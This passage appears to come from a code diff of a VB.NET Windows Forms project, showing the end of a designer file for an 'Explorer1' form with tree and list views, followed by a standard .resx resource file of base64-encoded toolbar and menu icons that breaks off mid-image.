Me.SplitContainer.Panel2.Controls.Add(Me.ListView)
Me.SplitContainer.Size = New System.Drawing.Size(632, 382)
Me.SplitContainer.SplitterDistance = 211
Me.SplitContainer.TabIndex = 0
Me.SplitContainer.Text = "SplitContainer1"
'
'TreeView
'
Me.TreeView.Dock = System.Windows.Forms.DockStyle.Fill
Me.TreeView.ImageIndex = 0
Me.TreeView.ImageList = Me.TreeNodeImageList
Me.TreeView.Location = New System.Drawing.Point(0, 0)
Me.TreeView.Name = "TreeView"
Me.TreeView.SelectedImageIndex = 1
Me.TreeView.ShowLines = False
Me.TreeView.Size = New System.Drawing.Size(211, 382)
Me.TreeView.TabIndex = 0
'
'ListView
'
Me.ListView.Dock = System.Windows.Forms.DockStyle.Fill
Me.ListView.LargeImageList = Me.ListViewLargeImageList
Me.ListView.Location = New System.Drawing.Point(0, 0)
Me.ListView.Name = "ListView"
Me.ListView.Size = New System.Drawing.Size(417, 382)
Me.ListView.SmallImageList = Me.ListViewSmallImageList
Me.ListView.TabIndex = 0
Me.ListView.UseCompatibleStateImageBehavior = False
'
'ListViewLargeImageList
'
Me.ListViewLargeImageList.ImageStream = CType(resources.GetObject("ListViewLargeImageList.ImageStream"), System.Windows.Forms.ImageListStreamer)
Me.ListViewLargeImageList.TransparentColor = System.Drawing.Color.Transparent
Me.ListViewLargeImageList.Images.SetKeyName(0, "Graph1")
Me.ListViewLargeImageList.Images.SetKeyName(1, "Graph2")
Me.ListViewLargeImageList.Images.SetKeyName(2, "Graph3")
'
'ListViewSmallImageList
'
Me.ListViewSmallImageList.ImageStream = CType(resources.GetObject("ListViewSmallImageList.ImageStream"), System.Windows.Forms.ImageListStreamer)
Me.ListViewSmallImageList.TransparentColor = System.Drawing.Color.Transparent
Me.ListViewSmallImageList.Images.SetKeyName(0, "Graph1")
Me.ListViewSmallImageList.Images.SetKeyName(1, "Graph2")
Me.ListViewSmallImageList.Images.SetKeyName(2, "Graph3")
'
'Explorer1
'
Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
Me.ClientSize = New System.Drawing.Size(632, 453)
Me.Controls.Add(Me.ToolStripContainer)
Me.Name = "Explorer1"
Me.Text = "Explorer1"
Me.StatusStrip.ResumeLayout(False)
Me.StatusStrip.PerformLayout()
Me.ToolStrip.ResumeLayout(False)
Me.ToolStrip.PerformLayout()
Me.MenuStrip.ResumeLayout(False)
Me.MenuStrip.PerformLayout()
Me.ToolStripContainer.BottomToolStripPanel.ResumeLayout(False)
Me.ToolStripContainer.BottomToolStripPanel.PerformLayout()
Me.ToolStripContainer.ContentPanel.ResumeLayout(False)
Me.ToolStripContainer.TopToolStripPanel.ResumeLayout(False)
Me.ToolStripContainer.TopToolStripPanel.PerformLayout()
Me.ToolStripContainer.ResumeLayout(False)
Me.ToolStripContainer.PerformLayout()
Me.SplitContainer.Panel1.ResumeLayout(False)
Me.SplitContainer.Panel2.ResumeLayout(False)
Me.SplitContainer.ResumeLayout(False)
Me.ResumeLayout(False)
End Sub
End Class
@@ -0,0 +1,552 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<metadata name="StatusStrip.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>303, 17</value>
</metadata>
<metadata name="TreeNodeImageList.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>408, 17</value>
</metadata>
<data name="TreeNodeImageList.ImageStream" mimetype="application/x-microsoft.net.object.binary.base64">
<value>
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4w
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAACo
CAAAAk1TRnQBSQFMAgEBAgEAAQQBAAEEAQABEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA
AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5
AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA
AWYDAAGZAwABzAIAATMDAAIzAgABMwFmAgABMwGZAgABMwHMAgABMwH/AgABZgMAAWYBMwIAAmYCAAFm
AZkCAAFmAcwCAAFmAf8CAAGZAwABmQEzAgABmQFmAgACmQIAAZkBzAIAAZkB/wIAAcwDAAHMATMCAAHM
AWYCAAHMAZkCAALMAgABzAH/AgAB/wFmAgAB/wGZAgAB/wHMAQABMwH/AgAB/wEAATMBAAEzAQABZgEA
ATMBAAGZAQABMwEAAcwBAAEzAQAB/wEAAf8BMwIAAzMBAAIzAWYBAAIzAZkBAAIzAcwBAAIzAf8BAAEz
AWYCAAEzAWYBMwEAATMCZgEAATMBZgGZAQABMwFmAcwBAAEzAWYB/wEAATMBmQIAATMBmQEzAQABMwGZ
AWYBAAEzApkBAAEzAZkBzAEAATMBmQH/AQABMwHMAgABMwHMATMBAAEzAcwBZgEAATMBzAGZAQABMwLM
AQABMwHMAf8BAAEzAf8BMwEAATMB/wFmAQABMwH/AZkBAAEzAf8BzAEAATMC/wEAAWYDAAFmAQABMwEA
AWYBAAFmAQABZgEAAZkBAAFmAQABzAEAAWYBAAH/AQABZgEzAgABZgIzAQABZgEzAWYBAAFmATMBmQEA
AWYBMwHMAQABZgEzAf8BAAJmAgACZgEzAQADZgEAAmYBmQEAAmYBzAEAAWYBmQIAAWYBmQEzAQABZgGZ
AWYBAAFmApkBAAFmAZkBzAEAAWYBmQH/AQABZgHMAgABZgHMATMBAAFmAcwBmQEAAWYCzAEAAWYBzAH/
AQABZgH/AgABZgH/ATMBAAFmAf8BmQEAAWYB/wHMAQABzAEAAf8BAAH/AQABzAEAApkCAAGZATMBmQEA
AZkBAAGZAQABmQEAAcwBAAGZAwABmQIzAQABmQEAAWYBAAGZATMBzAEAAZkBAAH/AQABmQFmAgABmQFm
ATMBAAGZATMBZgEAAZkBZgGZAQABmQFmAcwBAAGZATMB/wEAApkBMwEAApkBZgEAA5kBAAKZAcwBAAKZ
Af8BAAGZAcwCAAGZAcwBMwEAAWYBzAFmAQABmQHMAZkBAAGZAswBAAGZAcwB/wEAAZkB/wIAAZkB/wEz
AQABmQHMAWYBAAGZAf8BmQEAAZkB/wHMAQABmQL/AQABzAMAAZkBAAEzAQABzAEAAWYBAAHMAQABmQEA
AcwBAAHMAQABmQEzAgABzAIzAQABzAEzAWYBAAHMATMBmQEAAcwBMwHMAQABzAEzAf8BAAHMAWYCAAHM
AWYBMwEAAZkCZgEAAcwBZgGZAQABzAFmAcwBAAGZAWYB/wEAAcwBmQIAAcwBmQEzAQABzAGZAWYBAAHM
ApkBAAHMAZkBzAEAAcwBmQH/AQACzAIAAswBMwEAAswBZgEAAswBmQEAA8wBAALMAf8BAAHMAf8CAAHM
Af8BMwEAAZkB/wFmAQABzAH/AZkBAAHMAf8BzAEAAcwC/wEAAcwBAAEzAQAB/wEAAWYBAAH/AQABmQEA
AcwBMwIAAf8CMwEAAf8BMwFmAQAB/wEzAZkBAAH/ATMBzAEAAf8BMwH/AQAB/wFmAgAB/wFmATMBAAHM
AmYBAAH/AWYBmQEAAf8BZgHMAQABzAFmAf8BAAH/AZkCAAH/AZkBMwEAAf8BmQFmAQAB/wKZAQAB/wGZ
AcwBAAH/AZkB/wEAAf8BzAIAAf8BzAEzAQAB/wHMAWYBAAH/AcwBmQEAAf8CzAEAAf8BzAH/AQAC/wEz
AQABzAH/AWYBAAL/AZkBAAL/AcwBAAJmAf8BAAFmAf8BZgEAAWYC/wEAAf8CZgEAAf8BZgH/AQAC/wFm
AQABIQEAAaUBAANfAQADdwEAA4YBAAOWAQADywEAA7IBAAPXAQAD3QEAA+MBAAPqAQAD8QEAA/gBAAHw
AfsB/wEAAaQCoAEAA4ADAAH/AgAB/wMAAv8BAAH/AwAB/wEAAf8BAAL/AgAD/0MAAfEL8AHxAwAB8Qrw
AfEjAAG8AewLbQHsAbwBAAEHAewK6wHsAQciAAJSAUwKKgETAewB8QwqAW0B7AHxIAABUgF6AVIBoAh6
AVIBoAEqAW0CUgGgCXoBUgEqAesB8CAAAVIBegFSAaAIegFSAaABKgFtAlIBegGgCHoBWAFLAW0BByAA
AVIBegFSCaABWAGgASoBbQJSAVgIoAGaAVkBUgFtAewgAAFSAXoBUgmgAXoBoAEqAW0BUgFYAVIJoAJ5
ASoB6yAAAVIBegFSCaABegGgASoBbQFSAXoBUgmgAXoBoAFLAesgAAFSAXoBUgn/AZoB/wEqAewBUgGa
AVIBeQL/AfYF/wGaAf8BSwHsIAABUgGgAZoMUgHxAVIBoAF5DFIBByAAAVIGoAX/ASoB7AHxAQABUgag
Bf8BUgFLAQchAAFSAf8EoAH/BVIBTAHxAgABUgH/BKAB/wZSAfEjAAFSBP8BUgG8CQABUgT/AVIBByoA
BFIB8QsABFIB8WkAAUIBTQE+BwABPgMAASgDAAFAAwABEAMAAQEBAAEBBQABgBcAA/8BAAT/BAABwAEB
AcABAwQAAYABAAGAAQEEAAGAQAABAQEAAQEFAAEDAQABAwQAAYAB/wGAAf8EAAHBAf8BwQH/BAAE/wQA
Cw==
</value>
</data>
<metadata name="ToolStrip.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>207, 17</value>
</metadata>
<assembly alias="System.Drawing" name="System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="BackToolStripButton.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8
YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAABDBJREFUSEvVVX9Q
k3Uc3ssWgw3WeNc2TGDyM8XY4MLKyjSLVBxQhJaAiccyhKV3hbob4Y/h+aM0DalxcHLATgguYTh+jPEr
BJKmkFieaBCW19Vdd52Y9Ud69/h9d439VPD6q+/d9/bevbvned7neT7fL8WaZWmvaDH4xyDr0s1LrOm7
0yzqLosVx5ezZNwwVrJ0LSsvNo+aDcPr++zRbAi6BFB+k4zCsQKUXN4J/fhu6C7mQjX4ElZ2REDyBQ9B
BiGKhrV4KBJhtxCZ326A+VcT2m/Uo+HHT1E5/iGOjKmw93wa3h9aCvVZhW2nd0ZBUsVDfL1ibiQCiwD6
qTJ0/dKE5uuVqL6mQ+n321Aysh6a4ZdngO0E9t/YWhoJtbOQUK0UKiZLYfq5FnUTR1B+ZRcOX8zBbqsS
+86nYvi3FrT9pL8/SRWNFw3LvH+JvFeOLSPZ+HLqc1Rd3Ydj322F7kIGCoeex0Gi/u87t2Bfx8dy70si
PcrzTiBpE8Hww0F8dvkDHBjNgnY4CdsGEjzAGZI91jVeCd7tfxLJRhlondCVRNEpx+avlR4huitnwA1X
iz3A88/Kkdu/GJu+WoQNvTGg93NRPqB3kPg0UNBaU11CnAt4AWnRFqI6hwBn9z2B9T1RSO+JQFwljbSK
FAeBtDEA2wcSZ5R5A79xe9wWsPNuuV5GmlaG01Ol2DOaidTuBVhtCcXTdRLEH5A7CEIbAh8IPpPuAx4M
k5/gVQK+ovNxJDaJwVFTTgR1/52gmtR6mXkenjNLoTDS4KicCWocBMzgeLNo5PduNE2dQCOZamayT00e
A6O6ZuIoTk58DLU1HUs6xIhvoxFZHQhRnlOTfE5QHs1wJ/mLzMFOa4otxLVdMqwidqzsnI8XzMF4tkOK
hHYR5AR8YeujkB73w/Jip4ELr5ThLXOMC8lWUr29F9LBANvX7TvTKDi3GkmWkH/tCEZiuxgKAry4VYhI
UwDCTXwEajgoqtU4MlCb8xF7krYRMNVTkU4z1cvqi8EOopoBtq8/yXNG/xI80yFBAhnOuLYgRLcKEEHA
Q87wIGnkgvO6k//2Y5b+SIh1bdHYTIDf7luIN3uj8UZPJFK6FiCfqGaA7Ut/7ZBN9SJiB6NadoaP4BY/
iI1c8HexsfFwludxobVo8Nghf6yzRCGDAL/WHY41ljBSvRAsJ9XLGXoFt/65ads555SIMgUSOwIwv8Uf
EgJMNz8Cf5Ilnep2TDhfFBvrsyDScbGqPdQlxKVuITJ2hBE7pARYbPRFYBMb/uUU2ElerHG/idIqlAgq
9sVTjWLSae8hziN2MKqFzRzwT1PgFs8R3E5WZNRAVCiEpMQPMacELiEyqkXNvgio9wG3hAJHSSE8Qza3
28z9a96ryUfEdhl8s33AU7Ph9w7ZKjY4mUTxCgrxm5zOm4e6lP9Pf74HdM3p4IpcYgEAAAAASUVORK5C
YII=
</value>
</data>
<data name="ForwardToolStripButton.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8
YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAABElJREFUSEutlWtM
U3cYxntoLVC5HGoKGhyVi5RrC5kb2wQWhzIrOBaolQ020eHA4SVTHDfnFjZZzJybxtoahQ3ZuiViCxZa
hFJabkEcBMZA3EXAxcQs+7Ch+7JlefY/BwqtFsFlb/JPm7T5/d7zvs85h+IsUppbajT/ZuTc/nOK8930
CIfzD4dDU76cWO9YzhZRGqdUVkotxnD5e/lYGWgzDYlVgn1Dhagaq8CpG+SMFqOgNxUZZhmi9EJ41vLw
WnsOHksi65ZC0imBeuIM2u7ocHlSgy9+qMTp7/fjgwElSvtSsLdTxp7d1hjEXRLB7zwN7Zh2cZGsS4qt
19Nhu9sCw+2L0P50ApobJTg+lIej/ek40LVuDm6XMJ9phmAITvGgGVQvLJHapJD3bsLVO/WonziL6ptH
8enIHlR+q0Bxz3o0T6nRd7cRh3sTXUqyTeEQnqRdC8pGyhDaKkbDVDVqfzwG1eghVA3moLxvE/Z3xeOz
4Tdgr1/ujy8oSdYGIrkm6WEJ3USjYqgA58eP4MRwPt6/noGDPc/OdfoRmb1juZK81SnFLmsUfD/k4+uB
r+Yl6nE1IoxrXC7Rcc51N991KSlilm2LQZ41ErkdEiTUBSCjOn1e8JItHVstTz5yiXaRK8ne7gTssEYg
27IWivZQyE1B4B2k5gVrdGIozdFz42DmzSx0ocOMx7Em740hzxaPTHMI5G1BSG19Al7v8OYFbrUUm2d7
lwz4cevW9CiyLNFIuRqIxJaVEL7nDtNw04zE7QLlFLv/Irj39x/Y2bMR6wn8KZMIdBkfpsFZgV8NjUxT
2IIjapo8i4bJM9CTc2niNK792up0gQw8j8CfMQUg3rgC0mYhfA4vg2lgVpBcn8TeiY6JsX8vtMWy0bMv
sfhaOu4ToL0Y+I6eFKwziiAj4GgS91CDF3jbHZZcbi1B1EWhk6CIZDrfFs1GL6cjHNtIOlzBc7tfQBwB
xzb7YW2TD0II3F/ljpA3xc43m+BjHnZbZhZdQDK9k4Bf74iA0hKGLAI/0LcFTLf2mv7rd2zvep7tOrLJ
l+1afGU5VjZ4QPA2F+U1Jc6C5M8T8XRtwOw4IvGKJZzN9MvmYMhbg1D380knuJLAY0jXYQZvBBN4YKMn
/BvcQV9YBqFigeeR8BiNVF0QlO1hyGwPQVqbGC+STG8g0dvXn8leAdP5tq5kRJCumXEEXREggIBFDXx4
f8MFL5vC8S+rXD/wNN0qeFZwsUEXiM0EvLF1NZJaVuE5Er0HlxhsWI5VjR4zXet5EGgp8BQUcitfffQ7
QdOpgkcxFxI1zWY6weT/0BJXk64Z8Ao9H16X3eCpIfCsJcAdX3shR8QQHOJBrPKCRO/jtEQRgfvquCyY
X0hBKKdRfu6BpS7lHappUyGuQsrOVVDAhQdz8rng76LAlVMIVohR9MmexV+TS5EZ+w0w9hlgYk6v4f+B
LkW82H/+BQONFVfyBc9RAAAAAElFTkSuQmCC
</value>
</data>
<data name="FoldersToolStripButton.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8
YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAv9JREFUSEvdlGtI
U2EYx9XELmZ0pQtFBhEIGQgRRDeSMLBAo5D8ovVJqAyCSOpLXgKXipqDpGFaH1QEh+6DROmYk222s7Fa
esRDeDKjIymeYEQTjvjved+2eZnOFX6IBj/OOJfn/1z+zxsT89/8xKZDWMyqFeeu2wbZXMBRPDqoshET
op4LrooIE9B+DABoInRECdEOxVUCoX5fRKJKwK3fDsy0BgKz4AFmuug+g57NGhY8V+VcLhyVgKuOCTwN
BfCrhaF5eFsOIIjmLwq982cCT7YCajlxl8Mq8qseCiYT7GqGT3kDqTMVqjcLiu0MxNbksNYtW42zdjMw
+gAYKYDfmwMXzSSsZdSmCW8NR5X00Hw9gNZN7xl5+yK2y1mdBAzepmRzIbcchItVFJzD/Ousfun79E5E
AUdVIuC8QZ24CLlpPwRWkfYwImP2U5A6UiMSapm9Yj1mnTcx/Sodgn4HnDWbAKVwWVhgtis0MGKKUACp
GvCJ9H+aM9RxYc5hNt1aTPfl8+zZsjmqNgLiNY7PkQnZmALv852hofoUKwVhwcxzeApIj2aCryTegPH3
L+YE+srj4evOgrt+N9SRZtgrNwCOy1C7jkM0ZpCj3v3OEoNEP9EZWEq2mAE8+STAdkmg7E8u3I/eR/GY
NJ3GmL0I6sB92CrWAZZsSIY90PwSfRTc7nlLuNgEZBCoBkrGgE/W4oUClrI4SI3J8E+5oNoz0KdLgL+H
BIzpZEEbWbF4ZdxXSaCKKj4Svt2W0lhywzngm4lb1UotG28/xivCz0YaHl1XQsiBptzDkOl6uIC5JJaf
olLbUQg1iegtWwPRsJcqctPMbkVH/xVuhiW3mQkwWO++j/bCUhoHsTmNsia3yOSOZdCG86D2n4dsOgyh
Lgmel2ejO/wsJMbb87mSjJMXwi9kY6L7BKRmOodqE3lSwrM0fHx9B5PDndEFZyWyD5nXfZZMjLWlQGzY
BXtFAg/IsgxWGtVRvdRLwZZZH2/Bh7ZL+PK2Nvrs/lr1X/3wF+m79aKgrtb1AAAAAElFTkSuQmCC
</value>
</data>
<data name="ListViewToolStripButton.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8
YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAYZJREFUSEvdldEq
BHEYxXeu3XgDL+ExeA43yp3EhYdwNU+AsEtDuVJKuTDUFrs11NpdpEUoRMrxP3bP7LfLMLaR2qlfUzP1
nfOd7/vP5HJ9cQ1NFeGNhZkxOHGAOJjRuVJmha3JWMQbd+4nI3gzlWxxiXx0QYFer+dX4OEFuHkCGo9A
/b4Nu/kfAd8PIWxnA7M1iDf3gtC953sxqTpII8BoCKOxAqe3gEiMKI0AnRPmbgWia0D0PAO6FhQQhw3A
kigQBAGEncHqWoBCCxU9c1uzmA+wsBJg3lG8RMyvOuheRxYmxy6S8lWz6P4FsHfeJllgegQQrW2hgDfs
x1TvAMLiodsisVsHRCoBrqLcWwE6J3RuBbargEglYKOxAnROGIsV2KoA4scZaBX1GdBg7SBtJJsngOWb
c+C7k9zEboue8U7nhAL2+XoEiC8FdPzpWpvCu+JQUTnfqQEbrmihDORLnXwSsANVLCzObeleRwqwOCOR
wPIRsGToEMjyb2Zr9cXv/u+beAdXBGajtLIPWgAAAABJRU5ErkJggg==
</value>
</data>
<metadata name="MenuStrip.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>17, 17</value>
</metadata>
<data name="NewToolStripMenuItem.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8
YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAQpJREFUOE+t021L
wlAUB3C/VH6H+hr5jSRfiPSiFiEDgwWGRhZm0EoQcQN7QoblWPNp6py6h3/cwWDkvde98MDhvrnndznn
cFOpfYVU7+J/lmoKipUWhGs5TO5bpJgVBfEB6aMMH7m6V5nAiVBB9UnhI+Jtmwlkz27C4iiprVyWm0zA
9XwQJIKowLn0TAWCIIDtbGCM7BA4ODymD/O09EgF1hsPY8uBplt8IF+sbQGeH2BmrzEwF3jXxnwgd1Hd
ApyVC3OyRO9nis6HyQdIf/Egg5vOV+gbM3R7I7yqenIgPrjP/gTtt180Wt/Jgfjg1K8h5M4Ady9aMiDa
N+tkrjHaMbmwK/f1gUPnD9/19ZYU1J08AAAAAElFTkSuQmCC
</value>
</data>
<data name="OpenToolStripMenuItem.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8
YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAl9JREFUOE+9k1tI
E2AYhnfRRVcWaVEIRpaEXYiBIdVFSNJJUUqzwkgTylMHDMU2D206dXMnp650mNt0TZ1WlmFYIRSKRGip
o8S0LCgqxcxQydPT3EKTLPCmH96bn+99vvf7fn6B4H+cnGIzEq2Fy3ITeToraUojy+obnawjLF7lMJ0X
lpNlh6VIDUQlFyOoM2tYSo01sr92SUgrITxRRWh8gRPQ22VkYqTWoR/DFqYGDVhNKurN0iUhYQlqQuO0
BMcWIaitUDM+XLXIPPOphClbElXlcipLczEUZ6EvyOSaUkSRLHUxtNqoYPyLcb7zrN1MrwhssUvqD8CN
MhnfP+odsefMTXUKh+5b82mwyLhdmYvVkI1FL8Gku8J1bTqlahE6hdCZplKfy+i7QuZiv2kRU1+lZuaN
BAaki/XWftefBj3J8DKRzpoILsaEIDDosvnWJ4f3Su5Uq2h7oHQW/T7CiyhoD2e6NYiJhwG8rvDh3Kn9
TkCZVszXVxIGWjOotyiZ7RdDd5wT0BljNx5nui2EieZ9jDbuZqhuO5J4L04EujmXWaLOYKhLyE2zgo4n
9iQ9SXbAGeg4yezTw0w+PshY0x6G6/34XO1Ne85qIoM88dvq4gTo8kV0N2dyy5wPfZnw3B732VEmW4IZ
exTASIM/g1YfPhi3YFO6Io7djO8294WnLMxLpdYkx3Y3gXaNYF5tyhU0y1ZyL2sVNelrMaS6c/XSRiIP
bcLf12MBoJGmoBGfJU8YTdqFY47FnI4I5MiBnezd5cMOHy+8Pd3x2ODGujUurHf9FX1Zv+kfxT8BMS7u
X4BvNFkAAAAASUVORK5CYII=
</value>
</data>
<data name="SaveToolStripMenuItem.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8
YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAilJREFUOE+tk91L
k3EUx/cvdN9N0EW3NTWGa7EaPOUcyqphWBG9PZEv5dJlmqhYmUYtXyBb4dJJy+kknFT4BqZIjaFMJUsz
V7TEoabYRDD49ju/6Pm1Mm/qB+fy8znPOef7qFT/4z17GgWVr30Zbd4lPHYvoLEhgvuOGdTWfIL9dgg3
yqdQWjKBwoLXyMsdxYXzQSi9CeztAWqqV7HRW1ldgzGtF4fTnvBSBN7WRS6orPjyV57gyMIKdpufQ62W
YTnkEQL3o3kuKC35vK7gJ/w+vIg4kw8Fl6dxwNwkBM76WS64ZHv3h+BXeGQygm2SF9accaSmOIWg7m6Y
C7KzRmMEv8ODwTA2692Q5QBMJocQVFd95AL5TEARrAf3+D9gU2IDjhx9gaSkWiG4WTmN7i6wUwLHT76C
5dgA3zYtjGamz6bOP+A+HLR0QpLsQnC1bBIdPrAMAE2ub+zuX1F+fY4vlRZGM2dmBBU4ObUdBkOFEFwp
HIenGXjoXGPBicKYnhNT5hM2pJ8r4p2TUxi83wO9vkwIbHljDAaq7kR5ZxJQSOK0EobezmJsag5y7jXs
NbZxWLvHBZ2uSAgolo57UD6bBASfzb+FN6F5hGaWcLHYjni9i8GNiN/1ANrEfCHIzBhmcy/zmbcaPNiy
